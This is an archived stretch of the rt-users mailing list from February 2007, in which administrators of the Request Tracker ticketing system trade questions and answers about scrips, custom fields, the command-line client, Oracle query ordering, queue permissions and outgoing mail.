seems to me that putting a 30 minute sleep() in the autoresponse scrip 
is not the correct way to do this since scrips are intended to be 
transactional. Does anyone have any alternate suggestions for this?

2) We would like to be able to combine outgoing emails generated by 
scrips on a transaction, so that the To: and Cc: headers list all 
visible recipients of the email. For example, we have a scrip "On 
Correspond Notify Requestors and Ccs with template Correspondence" which 
sends a message to the Requestor and Ccs, and a scrip "On Correspond 
Notify Other Recipients with template Correspondence" which sends a 
message to the RT-Send-Ccs in a separate email. Again, since scrips are 
transactional, I can't see any way to do this without rewriting each 
potential combination of recipients as its own scripaction, but this 
approach seems rather cumbersome and inflexible. Is there a better way 
to do this?

Thanks in advance,
      -Bill

-- 
William Horka
UNIX Systems Administrator
Harvard-MIT Data Center


From cbrandt at buffalo.edu  Mon Feb 12 13:03:01 2007
From: cbrandt at buffalo.edu (Jim Brandt)
Date: Mon, 12 Feb 2007 13:03:01 -0500
Subject: [rt-users] RT CLI and LineBreaks - again...
In-Reply-To: <bdbd084b0702100625s72ea1c79h199778a22bda2244@mail.gmail.com>
References: <bdbd084b0702100625s72ea1c79h199778a22bda2244@mail.gmail.com>
Message-ID: <45D0ABD5.5060508@buffalo.edu>

Does this help?

http://lists.bestpractical.com/pipermail/rt-devel/2006-September/008882.html

It's a one-line change.

It was posted on the dev list and not the users list, so you might not 
have found it in your search.

Jim


Torsten Brumm wrote:
> Hi RT Users,
> 
> searched around the list and couldn't find any solution yet.
> 
> The Problem. Creating Tickets via RT Command Line Tool (rt)
> 
> Creating a Ticket with: ./rt create -t ticket
> 
> opens the editor like:
> 
> # Required: id, Queue
> 
> id: ticket/new
> Queue:
> Requestor: rt
> Subject:
> Cc:
> AdminCc:
> Owner:
> Status: new
> Priority:
> InitialPriority:
> FinalPriority:
> TimeEstimated: 0
> Starts: 2007-02-07 10:25:18
> Due: 2007-02-07 10:25:18
> Text:
> 
> Now i try to set the following:
> 
> # Please resubmit with errors corrected.
> 
> --
> 
> # Syntax error.
> 
> id: ticket/new
> Queue: IBTest
> Requestor: rt
> Subject: Das ist der Betreff
> Cc:
> AdminCc:
> Owner:
> Status: new
> Priority:
> InitialPriority:
> FinalPriority:
> TimeEstimated:
> Starts: 2007-02-07 10:25:18
> Due: 2007-02-07 10:25:18
> Text: Hier soll der Text stehen
>  >> Das ist zeiele 2
> and this line 3
> 
> So it looks like the Text: Part is not allowing multi line Text.
> 
> Any ideas or hints???
> 
> Thanks
> 
> Torsten
> 
> -- 
> MFG
> 
> Torsten Brumm
> 
> http://www.torsten-brumm.de
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 
Jim Brandt
Administrative Computing Services
University at Buffalo




From Jacob at buschs.com  Mon Feb 12 13:33:36 2007
From: Jacob at buschs.com (Jacob Helwig)
Date: Mon, 12 Feb 2007 13:33:36 -0500
Subject: [rt-users] Delayed action scrips and combining scrip email output
In-Reply-To: <45D0A801.6020503@hmdc.harvard.edu>
References: <45D0A801.6020503@hmdc.harvard.edu>
Message-ID: <B2E89743C79B364482E6AE35414E516201EABAD6@mail.buschs.net>

> 1) A scrip is needed that will take conditional action at a point in
> time after a transaction occurs. For example, we would like the
> autoresponse scrip to send an autoresponse 30 minutes after a ticket
is
> received, but only if the ticket was not responded to in that time. It
> seems to me that putting a 30 minute sleep() in the autoresponse scrip
> is not the correct way to do this since scrips are intended to be
> transactional. Does anyone have any alternate suggestions for this?
> 

What about using rt-crontool run every n minutes to look for new tickets
created within a specified time range?


From KFCrocker at lbl.gov  Mon Feb 12 14:03:08 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Mon, 12 Feb 2007 11:03:08 -0800
Subject: [rt-users] CC'c dropped upon ticket creation
Message-ID: <45D0B9EC.9070602@lbl.gov>

To all,


	We are currently on RT 3.4.4 and looking to upgrade to 3.6.3 soon. A 
question popped up that I had no answer to. Why is it when a ticket is 
created via the E_mail interface the cc's are dropped and do not become 
part of "people" section on the ticket? Is this still happening in 
3.6.3? Has anyone else noticed this and do they have any type of 
resolution to the problem? thanks in advance.


Kenn
LBNL


From falcone at bestpractical.com  Mon Feb 12 15:38:56 2007
From: falcone at bestpractical.com (Kevin Falcone)
Date: Mon, 12 Feb 2007 15:38:56 -0500
Subject: [rt-users] vanished lines in rt 3.6.1 reply
In-Reply-To: <1170763966.5180.26.camel@pcx4546.desy.de>
References: <1168534464.5276.32.camel@pcx4546.desy.de>
	<1168617531.5159.64.camel@pcx4546.desy.de>
	<1169460532.4969.16.camel@pcx4546.desy.de>
	<1170763966.5180.26.camel@pcx4546.desy.de>
Message-ID: <347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>


On Feb 6, 2007, at 7:12 AM, Sven Sternberger wrote:

>>> I now recognized the following:
>>> I create a ticket with a line which something
>>> like /^\w+>/
>>> RESULT: ok
>>>
>>> I reply on these transaction and enter again /^\w+>/
>>> RESULT: ok
>>>
>>> I reply on the reply transaction with an /^\w+>/
>>> RESULT: the newly entered line vanish
>>>
>>> So it is pretty clear that the quote mechanism is
>>> broken if you have more than one reply level

Hi Sven

I'm trying to duplicate this so that I can write a test and fix this,  
but I'm having trouble duplicating it.
Are you replying in the web interface or in a mail client?

I've created a local ticket that looks something like this (by  
replying a lot) and haven't been able to replicate your problem.

 > > > > > > bash> foo
 > > > > >
 > > > > > bash2> bar
 > > > >
 > > > > cpan> baz
 > > >
 > > > cpan> foo
 > >
 > > cpan> install Math::Trig
 >
 > frob> foo<>

foo

Does this look like what you're seeing when lines disappear?
It would be interesting to see the HTML of the page where cpan> lines  
disappear

Thanks

-kevin



From falcone at bestpractical.com  Mon Feb 12 15:40:52 2007
From: falcone at bestpractical.com (Kevin Falcone)
Date: Mon, 12 Feb 2007 15:40:52 -0500
Subject: [rt-users] CC'c dropped upon ticket creation
In-Reply-To: <45D0B9EC.9070602@lbl.gov>
References: <45D0B9EC.9070602@lbl.gov>
Message-ID: <0664A003-CB45-43AB-B566-89B3082FE845@bestpractical.com>


On Feb 12, 2007, at 2:03 PM, Kenneth Crocker wrote:

> 	We are currently on RT 3.4.4 and looking to upgrade to 3.6.3 soon.  
> A question popped up that I had no answer to. Why is it when a  
> ticket is created via the E_mail interface the cc's are dropped and  
> do not become part of "people" section on the ticket? Is this still  
> happening in 3.6.3? Has anyone else noticed this and do they have  
> any type of resolution to the problem? thanks in advance.

Does the ParseNewMessageForTicketCcs config setting fix this for you?
It should be available in 3.4 as well as 3.6.

-kevin


From pkime at Shopzilla.com  Mon Feb 12 18:26:32 2007
From: pkime at Shopzilla.com (Philip Kime)
Date: Mon, 12 Feb 2007 15:26:32 -0800
Subject: [rt-users] CommandByMail question - not falling back to standard
	mail gateway
Message-ID: <9C0091F428E697439E7A773FFD083427A9297E@szexchange.Shopzilla.inc>

We are using the (rather nice) CommandByMail extension and are trying to
enforce certain things like rejecting emailed tickets without certain
CFs matching certain validation strings etc. We have this working and
CommandByMail rejects properly but then ...
 
Couldn't create ticket from message with commands, fallback to standard
mailgate.

 
And the standard mailgate succeeds. Can we turn off the standard one or
disable fallback?
 
PK
 
--
Philip Kime
NOPS Systems Architect
310 401 0407
 
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From acqant at optonline.net  Mon Feb 12 18:18:26 2007
From: acqant at optonline.net (anthony)
Date: Mon, 12 Feb 2007 18:18:26 -0500
Subject: [rt-users] getting the values of custom fields
Message-ID: <45D0F5C2.2050802@optonline.net>

I'm using 3.4.6 and have a ticket that has some CustomField values.

I'm having a horrible time pulling these entries.

I'm doing this via the web and User Defined scripts.  For testing I'm
saying On status change run this action.

I've been messing with Ticket_Overlay CustomValues, CustomValues,
TicketTransactions....

Now I'm wondering if the data is just for the status change transaction
and the values in the custom fields are not even in the $self data.

Does this sound right?

Doing this via sql sounds much simpler.


From KFCrocker at lbl.gov  Mon Feb 12 19:27:10 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Mon, 12 Feb 2007 16:27:10 -0800
Subject: [rt-users] CC'c dropped upon ticket creation
In-Reply-To: <0664A003-CB45-43AB-B566-89B3082FE845@bestpractical.com>
References: <45D0B9EC.9070602@lbl.gov>
	<0664A003-CB45-43AB-B566-89B3082FE845@bestpractical.com>
Message-ID: <45D105DE.2050409@lbl.gov>

Kevin,


	I'll check that out. I was also wondering; I use the following code to 
move the subject line to a CF called "Description":

my $cf_obj;
my $cf_name;
my $cf_value;

$cf_obj = RT::CustomField->new($RT::SystemUser);
$cf_name = "Description";
$cf_value = $self->TicketObj->Subject();

$RT::Logger->debug( $self . " cf_value = ". $cf_value . "\n" );

$cf_obj->LoadByName( Name => $cf_name );
$RT::Logger->debug( "Loaded \$cf_obj->Name = ". $cf_obj->Name() ."\n" );
$cf_obj->AddValueForObject( Object  => $self->TicketObj, Content => 
$cf_value, );
return 1;

What I was wondering was, how do I get this code to do this for E_mail 
ticket creation only? Otherwise, when someone is "in" the system and 
they create a ticket, whatever they put in the CF field is changed to 
contain the subject data. Thanks.

Kenn
LBNL

Kevin Falcone wrote:
> 
> On Feb 12, 2007, at 2:03 PM, Kenneth Crocker wrote:
> 
>>     We are currently on RT 3.4.4 and looking to upgrade to 3.6.3 soon. 
>> A question popped up that I had no answer to. Why is it when a ticket 
>> is created via the E_mail interface the cc's are dropped and do not 
>> become part of "people" section on the ticket? Is this still happening 
>> in 3.6.3? Has anyone else noticed this and do they have any type of 
>> resolution to the problem? thanks in advance.
> 
> Does the ParseNewMessageForTicketCcs config setting fix this for you?
> It should be available in 3.4 as well as 3.6.
> 
> -kevin
> 


From KFCrocker at lbl.gov  Mon Feb 12 19:29:48 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Mon, 12 Feb 2007 16:29:48 -0800
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D0F5C2.2050802@optonline.net>
References: <45D0F5C2.2050802@optonline.net>
Message-ID: <45D1067C.6010701@lbl.gov>

Anthony,

	What are you using the data for? We pull some custom data to use on our 
"Resolve" template. It is as follows:

RT-Attach-Message: yes
Subject: Resolved: {$Ticket->Subject}

Your request has been resolved. If you have any further questions or 
concerns,
please respond to this message.

To view ticket information, enter URL:
     {$RT::WebURL}Ticket/Display.html?id={$Ticket->id} .
-----------------------------------------------------------------------------

Ticket Description:
{
      my $Resolution_Description;
      $Resolution_Description = 
$Ticket->FirstCustomFieldValue('Description');
      return $Resolution_Description;
}
-----------------------------------------------------------------------------

Resolution:
{
      my $Resolution_Comment;
      my $Transactions;
      my $CommentObj;

      $Transactions = $Ticket->Transactions;
      $Transactions->Limit( FIELD => 'Type', VALUE => 'Comment' );
      $Transactions->OrderByCols(
          { FIELD => 'Created',  ORDER => 'DESC' },
          { FIELD => 'id',     ORDER => 'DESC' },
          );

      $CommentObj = $Transactions->First;

      if  ($CommentObj && $CommentObj->id)
      {
           $Resolution_Comment = $CommentObj->Content;
      }

      return $Resolution_Comment;
}

	Hope this helps.

Kenn
LBNL

anthony wrote:
> I'm using 3.4.6 and have a ticket that has some CustomField values.
> 
> I'm having a horrible time pulling these entries.
> 
> I'm doing this via the web and User Defined scripts.  For testing I'm
> saying On status change run this action.
> 
> I've been messing with Ticket_Overlay CustomValues, CustomValues,
> TicketTransactions....
> 
> Now I'm wondering if the data is just for the status change transaction
> and the values in the custom fields are not even in the $self data.
> 
> Does this sound right?
> 
> Doing this via sql sounds much simpler.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From JoopvandeWege at mococo.nl  Tue Feb 13 02:26:15 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Tue, 13 Feb 2007 08:26:15 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D09C86.70101@oracle.com>
References: <45CE1E1E.7010308@oracle.com>	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>
	<45D09C86.70101@oracle.com>
Message-ID: <45D16817.7000404@mococo.nl>

Joe Casadonte wrote:
> On 2/12/2007 11:11 AM, Ruslan Zakirov wrote:
> 
>> I've applied the Joop's patch to DBIx::SearchBuilder module, please,
>> try the latest development version from the CPAN.
> 
> Thanks Joop & Ruslan!
> 
> I grabbed the latest version (6974) of 
> DBIx::SearchBuilder::Handle::Oracle.pm via the web svn interface.  With 
> the new code the search reports 9 result found (correct) but only 
> displays 5 of them, and not in the correct order.  I have backed the 
> changes out and everything is back to the way it was.  Can I not take 
> just this one file and no other recent changes in the package?
> 
> If there's anything I can do to help debug this, please let me know. 
> Thanks again!
> 
OK. RT-3.6.3 has the possibility to log sql statements. Please turn this 
on and try to find the query which is not producing the correct results. 
We might be talking about different things.
I'll do the same in the clients RT with patch and without, hoping they 
don't mind the slight interruption.
The problem that we were facing is that you start with entering CF's and 
ordering is fine until either you delete some CF's or start moving them 
around and then suddenly the ordering isn't correct any more, the reason 
is that Oracle gets its rows, probably, in entered order until you 
disturb it by deleted records. This makes it hard to reproduce in a test 
environment by entering CF's and looking whether they come out in order 
or not.

Joop



From JoopvandeWege at mococo.nl  Tue Feb 13 03:14:12 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Tue, 13 Feb 2007 09:14:12 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D16817.7000404@mococo.nl>
References: <45CE1E1E.7010308@oracle.com>	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>	<45D09C86.70101@oracle.com>
	<45D16817.7000404@mococo.nl>
Message-ID: <45D17354.5030806@mococo.nl>

Joop wrote:
> OK. RT-3.6.3 has the possibility to log sql statements. Please turn this 
> on and try to find the query which is not producing the correct results. 
> We might be talking about different things.
> I'll do the same in the clients RT with patch and without, hoping they 
> don't mind the slight interruption.
> The problem that we were facing is that you start with entering CF's and 
> ordering is fine until either you delete some CF's or start moving them 
> around and then suddenly the ordering isn't correct any more, the reason 
> is that Oracle gets its rows, probably, in entered order until you 
> disturb it by deleted records. This makes it hard to reproduce in a test 
> environment by entering CF's and looking whether they come out in order 
> or not.

The patch that I send to Ruslan is meant to fix the ordering on, for 
example, the customfields which are displayed when looking at a ticket. 
In my case we discovered this problem because we use AssetTracker alot 
with lots of customfields and suddenly they started being displayed in a 
different order. I'm talking about this page:
http://localhost/rt3/AssetTracker/Asset/ModifyFields.html?id=163 and the 
query from this is:
  SELECT main.*
   FROM (SELECT   main.ID
             FROM customfields main, objectcustomfields objectcustomfields_1
            WHERE (   (objectcustomfields_1.objectid = '2')
                   OR (objectcustomfields_1.objectid = '0')
                  )
              AND ((main.disabled = '0'))
              AND ((main.lookuptype =
 
'RTx::AssetTracker::Type-RTx::AssetTracker::Asset'
                   )
                  )
              AND ((main.ID = objectcustomfields_1.customfield))
         ORDER BY objectcustomfields_1.objectid ASC,
                  objectcustomfields_1.sortorder ASC) distinctquery,
        customfields main
  WHERE (main.ID = distinctquery.ID)

And when using the original Oracle.pm its:
SELECT main.*
   FROM (SELECT   main.ID
             FROM customfields main, objectcustomfields objectcustomfields_1
            WHERE (   (objectcustomfields_1.objectid = '2')
                   OR (objectcustomfields_1.objectid = '0')
                  )
              AND ((main.disabled = '0'))
              AND ((main.lookuptype =
 
'RTx::AssetTracker::Type-RTx::AssetTracker::Asset'
                   )
                  )
              AND ((main.ID = objectcustomfields_1.customfield))
         GROUP BY main.ID
         ORDER BY MIN (objectcustomfields_1.objectid) ASC,
                  MIN (objectcustomfields_1.sortorder) ASC) distinctquery,
        customfields main
  WHERE (main.ID = distinctquery.ID)

Notice the extra GROUP BY main.ID and ORDER BY MIN(..) statements.

When I perform a search like this, ticket SQL:
Queue = 'Purmerend' AND 'CF.{Soort Hulp}' LIKE 'Eerste lijn'
I get an Oracle SQL statement about the same as you but not quite so I'm 
not sure this is the correct search that I'm doing.
This is what I get:
SELECT *
   FROM (SELECT limitquery.*, ROWNUM limitrownum
           FROM (SELECT   main.*
                     FROM (SELECT DISTINCT main.ID
                                      FROM (((tickets main LEFT JOIN 
objectcustomfields objectcustomfields_1
                                           ON 
((objectcustomfields_1.objectid =
 
     '0'
                                               )
                                              )
                                          OR 
(objectcustomfields_1.objectid =
 
main.queue
                                             ))
                                           LEFT JOIN
                                           customfields customfields_2
                                           ON (customfields_2.ID =
 
objectcustomfields_1.customfield
                                              ))
                                           LEFT JOIN
                                           objectcustomfieldvalues 
objectcustomfieldvalues_3
                                           ON 
((objectcustomfieldvalues_3.objectid =
 
main.ID
                                               )
                                              )
                                         AND 
(objectcustomfieldvalues_3.customfield =
 
customfields_2.ID
                                             )
                                         AND 
((objectcustomfieldvalues_3.disabled =
 
     '0'
                                              )
                                             )
                                         AND 
((objectcustomfieldvalues_3.objecttype =
 
'RT::Ticket'
                                              )
                                             ))
                                     WHERE ((customfields_2.NAME = 
'Soort Hulp'
                                            )
                                           )
                                       AND ((main.effectiveid = main.ID))
                                       AND ((main.status != 'deleted'))
                                       AND ((main.TYPE = 'ticket'))
                                       AND (    (main.queue = '22')
                                            AND 
((objectcustomfieldvalues_3.content LIKE
 
'Eerste lijn'
                                                 )
                                                )
                                           )) distinctquery,
                          tickets main
                    WHERE (main.ID = distinctquery.ID)
                 ORDER BY main.ID DESC) limitquery
          WHERE ROWNUM <= 50)
  WHERE limitrownum >= 1

And this is your query:
SELECT *
   FROM (SELECT limitquery.*, ROWNUM limitrownum
           FROM (SELECT main.*
                   FROM (SELECT   main.ID
                             FROM ((((tickets main LEFT JOIN 
objectcustomfields objectcustomfields_1
                                  ON ((objectcustomfields_1.objectid = '0'))
                                 OR (objectcustomfields_1.objectid = 
main.queue
                                    ))
                                  LEFT JOIN
                                  customfields customfields_2
                                  ON (customfields_2.ID =
 
objectcustomfields_1.customfield
                                     ))
                                  LEFT JOIN
                                  objectcustomfieldvalues 
objectcustomfieldvalues_3
                                  ON ((objectcustomfieldvalues_3.objectid =
 
main.ID
                                      )
                                     )
                                AND (objectcustomfieldvalues_3.customfield =
 
customfields_2.ID
                                    )
                                AND ((objectcustomfieldvalues_3.disabled 
= '0'
                                     )
                                    )
                                AND ((objectcustomfieldvalues_3.objecttype =
 
'RT::Ticket'
                                     )
                                    ))
                                  LEFT JOIN
                                  customfieldvalues customfieldvalues_4
                                  ON ((customfieldvalues_4.NAME =
 
objectcustomfieldvalues_3.content
                                      )
                                     )
                                AND (customfieldvalues_4.customfield =
 
objectcustomfieldvalues_3.customfield
                                    ))
                            WHERE ((main.effectiveid = main.ID))
                              AND ((main.status != 'deleted'))
                              AND ((main.TYPE = 'ticket'))
                              AND (((main.owner = '86')))
                         GROUP BY main.ID
                         ORDER BY MIN (customfieldvalues_4.sortorder) ASC,
                                  MIN 
(objectcustomfieldvalues_3.content) ASC) distinctquery,
                        tickets main
                  WHERE (main.ID = distinctquery.ID)) limitquery
          WHERE ROWNUM <= 50)
  WHERE limitrownum >= 1;

Could you post the TicketSQL for your search?
You can get this from the QueryBuilder page and than 'Advanced'

Thanks in advance,

Joop


From D.Obando at ehapa.de  Tue Feb 13 03:31:20 2007
From: D.Obando at ehapa.de (Obando, David DE - EV)
Date: Tue, 13 Feb 2007 09:31:20 +0100
Subject: AW: [rt-users] resctricting rights per queue
In-Reply-To: <45CCA4CF.7090809@lbl.gov>
References: <81D141237A54374E9E79CF14F96612A3B40563@TXLEVD1-XCH03.ev.egmont.com>
	<45CCA4CF.7090809@lbl.gov>
Message-ID: <81D141237A54374E9E79CF14F96612A3B40759@TXLEVD1-XCH03.ev.egmont.com>

 Dear Kenn,

thanks for the advice! Now I found out how to restrict the rights on a per queue basis. I had to remove the global rights to get it working...

Regards,
David

> -----Urspr?ngliche Nachricht-----
> Von: Kenneth Crocker [mailto:KFCrocker at lbl.gov] 
> Gesendet: Freitag, 9. Februar 2007 17:44
> An: Obando, David DE - EV
> Cc: rt-users at lists.bestpractical.com
> Betreff: Re: [rt-users] resctricting rights per queue
> 
> Obando,
> 
> 	I need to know how you have the Queues (A thru D) set 
> up in terms of global rights, Group rights to a Queue, and 
> individual user rights. The RT Essentials book give some 
> guidelines to privileges, but not much info on all the 
> inter-relations. Basically, you need to make sure that the 
> only global rights you grant are the type of privileges you 
> want any privileged or non-privileged user to have and grant 
> the rights involving "access to tickets", "working on 
> tickets", and "communication on tickets" on a Queue by Queue 
> basis for specific groups. This may/may not involve group 
> rights to custom fields, if you use them, and other 
> relationships. Hope this helps.
> 
> Kenn
> LBNL
> 
> Obando, David DE - EV wrote:
> > Dear all,
> > 
> > I'm using a 3.6.3 system and I want to set up a group with 
> dispatching 
> > rights (taking, editing, resolving tickets) on a queue basis. This 
> > group should only see tickets in queues A and B and no 
> tickets in queues C and D.
> > 
> > How can I restrict their rights that they are not at all 
> able to see 
> > any tickets that are not in queues A and B?
> > I found ways to setup a "RT at a glance" page for them with 
> only their 
> > queues but when they e.g. enter the ticket ID in the URL 
> they can see 
> > any ticket.
> > 
> > Thanks!
> > David
> > 
> > 
> > 
> ----------------------------------------------------------------------
> > --
> > 
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> > 
> > Community help: http://wiki.bestpractical.com Commercial support: 
> > sales at bestpractical.com
> > 
> > 
> > Discover RT's hidden secrets with RT Essentials from 
> O'Reilly Media. 
> > Buy a copy at http://rtbook.bestpractical.com
> 


From pape-rt at inf.fu-berlin.de  Tue Feb 13 03:55:51 2007
From: pape-rt at inf.fu-berlin.de (Dirk Pape)
Date: Tue, 13 Feb 2007 09:55:51 +0100
Subject: [rt-users] vanished lines in rt 3.6.1 reply
In-Reply-To: <347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>
References: <1168534464.5276.32.camel@pcx4546.desy.de>
	<1168617531.5159.64.camel@pcx4546.desy.de>
	<1169460532.4969.16.camel@pcx4546.desy.de>
	<1170763966.5180.26.camel@pcx4546.desy.de>
	<347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>
Message-ID: <9FDB0797A630751FC4D5DBA8@[192.168.1.7]>

Hello,

--Am 12. Februar 2007 15:38:56 -0500 schrieb Kevin Falcone 
<falcone at bestpractical.com>:

> I've created a local ticket that looks something like this (by replying a
> lot) and haven't been able to replicate your problem.

I, too, have reported such an error months ago. You will find the error 
description and the proof of the error in 
<http://rt3.fsck.com/Ticket/Display.html?id=7539> (user: guest, password: 
guest)

Dirk. 


From forum at yhfsc.org.uk  Tue Feb 13 06:03:24 2007
From: forum at yhfsc.org.uk (Matt Hunt)
Date: Tue, 13 Feb 2007 11:03:24 +0000
Subject: [rt-users] Email Correspondence
Message-ID: <45D19AFC.6040905@yhfsc.org.uk>

Hello All,
    I have a problem with my RT system, I have just noticed that when I
REPLY to a ticket there is no outgoing mail, so the user does not get
updated via email.  I have checked that the scrips are set which they
are by default.  Once I have replied to ticket the details appear on the
ticket but it does not show that can email has been sent out.  Is this
is known problem if so can some one please give me some advice.  Nothing
has been changed on my system and was working fin yesterday, this has
totally thrown me.  It has happened before, I rebooted the server and
about ten minutes later it started to send mail out. 
Any help would be greatly appreciated, as I need to get the system up
and running and quickly.

Thanks

Matt Hunt  BSc
Yorkshire & Humber Service Centre


From mike.peachey at jennic.com  Tue Feb 13 06:22:16 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Tue, 13 Feb 2007 11:22:16 +0000
Subject: [rt-users] Email Correspondence
In-Reply-To: <45D19AFC.6040905@yhfsc.org.uk>
References: <45D19AFC.6040905@yhfsc.org.uk>
Message-ID: <45D19F68.70301@jennic.com>

Matt Hunt wrote:
> Hello All,
>     I have a problem with my RT system, I have just noticed that when I
> REPLY to a ticket there is no outgoing mail, so the user does not get
> updated via email.

Can you just confirm that the ticket is not one you are the requestor
for - as RT by default does not e-mail you about your own ticket if you
are the one that made the change.

Also, does other mail get sent successfully? Is there any output in
/rt/var/log/rt.log to indicate that the scrip for sending mail is or
isn't run?

If you can confirm that it's not a ticket you are the requestor for, and
the scrip is being run.. then it might be worth adding some debug
statements to the perl script to find out where the process is failing:

$RT::Logger->debug("This is a debug statement to be entered into an RT
perl script, and I can confirm the value of \$variable is $variable");

OR

use Data::Dumper
$RT::Logger->debug("My variable is a complicated data structure like an
array or an RT ticket object so I will use Dumper to print an
easy-to-read version of the variable.\n\nThe variable \$var is:\n\n" .
Dumper($var));
-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From damodaran.nj at gmail.com  Tue Feb 13 06:46:08 2007
From: damodaran.nj at gmail.com (damu)
Date: Tue, 13 Feb 2007 17:16:08 +0530
Subject: [rt-users] Creating groups using CLI.
Message-ID: <8e81a5b80702130346n6293a13dr2c53d5fb952828c2@mail.gmail.com>

Hi,

Can I create groups using the cli interface? This is what I get when I try it..

rt> create -t group set 'Name=newgroup'
# Unknown object type: group

id: group/new
name: newgroup
rt>

Thanks,

Damodaran


From sven.sternberger at desy.de  Tue Feb 13 07:47:35 2007
From: sven.sternberger at desy.de (Sven Sternberger)
Date: Tue, 13 Feb 2007 13:47:35 +0100
Subject: [rt-users] vanished lines in rt 3.6.1 reply
In-Reply-To: <347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>
References: <1168534464.5276.32.camel@pcx4546.desy.de>
	<1168617531.5159.64.camel@pcx4546.desy.de>
	<1169460532.4969.16.camel@pcx4546.desy.de>
	<1170763966.5180.26.camel@pcx4546.desy.de>
	<347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>
Message-ID: <1171370855.10844.11.camel@pcx4546.desy.de>

Hello Kevin!

On Mon, 2007-02-12 at 15:38 -0500, Kevin Falcone wrote:
> I'm trying to duplicate this so that I can write a test and fix this,  
> but I'm having trouble duplicating it.
> Are you replying in the web interface or in a mail client?

only in the web-ui (i don't tested it with the mail client)

> I've created a local ticket that looks something like this (by  
> replying a lot) and haven't been able to replicate your problem.
> 
>  > > > > > > bash> foo
>  > > > > >
>  > > > > > bash2> bar
>  > > > >
>  > > > > cpan> baz
>  > > >
>  > > > cpan> foo
>  > >
>  > > cpan> install Math::Trig
>  >
>  > frob> foo<>
> 
> foo
> 
> Does this look like what you're seeing when lines disappear?
> It would be interesting to see the HTML of the page where cpan> lines  
> disappear

I tried this example and this works for me too. But this one I newly
created, don't work:

##start##
On Tue Feb 13 13:35:14 2007, sternber wrote:
> On Tue Feb 13 13:34:55 2007, sternber wrote:
> a> bb

a> cc
##end##

here the line "a> aa" is missing. If you reply on this transaction
you will get in Update.html

##start##
On Tue Feb 13 13:35:54 2007, sternber wrote:
> On Tue Feb 13 13:35:14 2007, sternber wrote:
> > On Tue Feb 13 13:34:55 2007, sternber wrote:
> > > a> aa
> > a> bb
> a> cc
> 
##end##

I send you the Display.html, but in the html code you won't see the
missing line.

best regards!

sven

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From jra at baylink.com  Tue Feb 13 09:32:08 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Tue, 13 Feb 2007 09:32:08 -0500
Subject: [rt-users] Spam email question
In-Reply-To: <45CBF8E0.6040408@yahoo.com>
References: <45CABCDD.5090906@yahoo.com>
	<200702081600.LAA04951@Sparkle.Rodents.Montreal.QC.CA>
	<45CBE1FB.3030906@yahoo.com>
	<200702090426.XAA10548@Sparkle.Rodents.Montreal.QC.CA>
	<45CBF8E0.6040408@yahoo.com>
Message-ID: <20070213143208.GB5590@cgi.jachomes.com>

On Thu, Feb 08, 2007 at 11:30:24PM -0500, Mathew Snyder wrote:
> That might be what the problem is actually. I still haven't figured
> out how to use the methods of Shredder in order to run it entirely
> within the script so right now Shredder runs as a 'system' call.

Sounds to me like your shell isn't sufficiently quoting the address
when handing it off; can you post the script?

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
Designer                          Baylink                             RFC 2100
Ashworth & Associates        The Things I Think                        '87 e24
St Petersburg FL USA      http://baylink.pitas.com             +1 727 647 1274


From jra at baylink.com  Tue Feb 13 09:41:04 2007
From: jra at baylink.com (Jay R. Ashworth)
Date: Tue, 13 Feb 2007 09:41:04 -0500
Subject: [rt-users] Scrip to not auto-reply mail send to specific
	to-address
In-Reply-To: <BAY132-W22F49D44E60D0D96BB8045DC9D0@phx.gbl>
References: <BAY132-W22F49D44E60D0D96BB8045DC9D0@phx.gbl>
Message-ID: <20070213144104.GC5590@cgi.jachomes.com>

On Thu, Feb 08, 2007 at 05:06:16PM +0000, Puuter . wrote:
>    I'm new to RT so maybe this seems obvious to you, but since I
>    installed RT (on Windows) I've got this problem: In my company we
>    use internally an e-mailaddress that sends to every mailbox in the
>    domain. Let's say it's the address: everybody AT ourdomain.com
>    Everybody means everybody and so this means dat also rt get's
>    the mail (at the address: rt AT ourdomain.com ) Since rt gets an
>    e-mail, rt makes a ticket and sends an auto-reply, which is of
>    course both unnecessary in this case.

I can predict what answers you're going to get to this, and I agree
with them: it's the aliases 'fault'.

The only *practical* way to solve this problem (unless you can scrip
based on the To: address (which had better be "everybody", or else
you're completely screwed :-) is to make the 'everybody' alias *not*
expand to include your rt address.

Since you don't say what's handling your email, I don't know exactly
how you'd do that, but since you mention Windows, I assume it might be
Exchange, and it may be Exchange that's handling the expansion of the
alias.  In which case, I don't feel your pain -- cause I use Postfix.

:-}

Cheers,
-- jra
-- 
Jay R. Ashworth                                                jra at baylink.com
